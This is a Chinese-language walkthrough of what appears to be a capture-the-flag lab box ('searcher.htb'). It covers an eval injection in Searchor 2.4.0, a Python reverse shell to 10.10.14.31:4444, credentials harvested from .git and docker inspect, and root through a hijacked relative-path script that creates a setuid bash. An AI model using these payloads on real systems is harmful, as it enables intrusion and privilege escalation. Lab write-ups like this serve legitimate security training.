将ip和searcher.htb添加至/etc/hosts文件。
功能能就是你输入一个值,选择好搜索引擎后点击search,就会生成一个选择的搜索引擎里搜索你输入的值的链接。比如输入aster。
页面最底下有一句:Powered by Flask and Searchor 2.4.0
,查看github的库。
在查看版本更新内容的时候发现searchor 2.4.2修复了一个vulnerability。
跟随链接进去查看具体是指什么。
看来是因为eval导致的任意代码执行。通过Github下载存在问题的版本,并开始阅读源代码。找到了eval所在位置。
使用burp suite抓包发现提交的参数信息。
如果将engine的值内容添加英文双引号,会出现不可用的引擎。
如果将query的值添加英文单引号,会出现因为错误而导致的空界面。
做个小实验,本意是你输入的query字符串会被输出两次。
输入单引号9('9
)会出现什么呢?会出现语法错误。
这时候就可以通过eval注入一些恶意代码。
没错就是这个思路我们在网站的query处输入'+__import__("os").system("id")+'
测试一下ping。
开始尝试反弹shell的语句。
似乎直接依靠命令反弹有点不好使,所以我打算制作一个shell或者直接上传nc。但是对方不为所动。
行吧。不过我感觉似乎有什么东西还是说python编译器在阻拦shell的建立。
经过测试我发现我的卡莉似乎坏了,换了个卡莉后正常(一定要保持良好的快照习惯啊,当然别忘了备份的习惯)。使用下面的python代码反弹shell。
python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.31\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")\'
在/var/www/app目录发现了.git。
肯能会涉及到git回滚,使用git log查看commit的版本会遇到安全权的问题,使用给出的命令添加安全例外。不过添加后运行git log就没动静了。
升级为较为完整的shell后执行git log会得到Initial commit初始提交。
不过经过几次对DirtyPipe的尝试后均无果。打住,继续收集信息。我们的小豌豆帮我们找到了很多网站。
其实就两个,将gitea.searcher.htb添加至hosts后。
登录界面?去找找有没有凭证。
去官网翻翻文档看有没有默认账号密码、默认安装路径等信息。很遗憾没有找到有用信息。回到最开始的/var/www/app里,去看看那个.git文件。
发现了凭证cody:jh1usoih2bkjaspwe92。
通过凭证登录后来到新的界面。可以看到cody先创建了一个仓库,administrator在仓库中创建了分支,administrator推送到了仓库的main分支。
但是我对比了一下这个仓库和/var/www/app里的,没有差距。可能cody是svc。
来看看/opt/scripts目录,我们没有权限直接查看system-checkup.py文件内容。
似乎我们能执行这三个命令docker-ps、docker-inspect、full-checkup。执行docker-ps试试。
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
就是这个docker-inspect,貌似是我们能唯一输入命令或者语句的地方。
full-checkup就是对容器进行体检。
注意力集中在docker-inspect上吧。看官方文档。
附上官网文档对docker inspect的用法说明。
使用sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e
查看960873171e2ed的Json版本的config。
从中发现了数据库的凭证。
修改ID查看f84a6b33fb5a的Json版本的config。
不出意外这两个密码应该不是root的密码。试试用两个密码能不能登陆gitea的administrator。
使用administrator:yuiu1hoiu4i5ho1uh登录gitea的administrator用户。
这几个脚本对应/opt/scripts文件的几个脚本。其中system-checkup.py就是我们能一root运行的脚本。非常有趣的就是屏幕截图上的一部分代码。
其中的__format
和container
是我们可控的,他在最后会调用run_command
函数来执行命令。其中run_command
函数内有subprocess.run。
我们可以控制可控变量来进行代码执行。不过经过尝试几次后我觉得我可能没有办法实现任意代码执行,或者说这里是个兔子洞。
这段估计又是一个有趣的东西。他在当前目录找full-checkup.sh。
这次并没用绝对路径。当我们在/opt/scripts目录执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
,他是能够正常显示。
如果我们在/tmp目录下执行就会出现问题。
所以我们在/tmp目录创建一个full-checkup.sh文件内容如下:
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
修改好文件权限后执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
。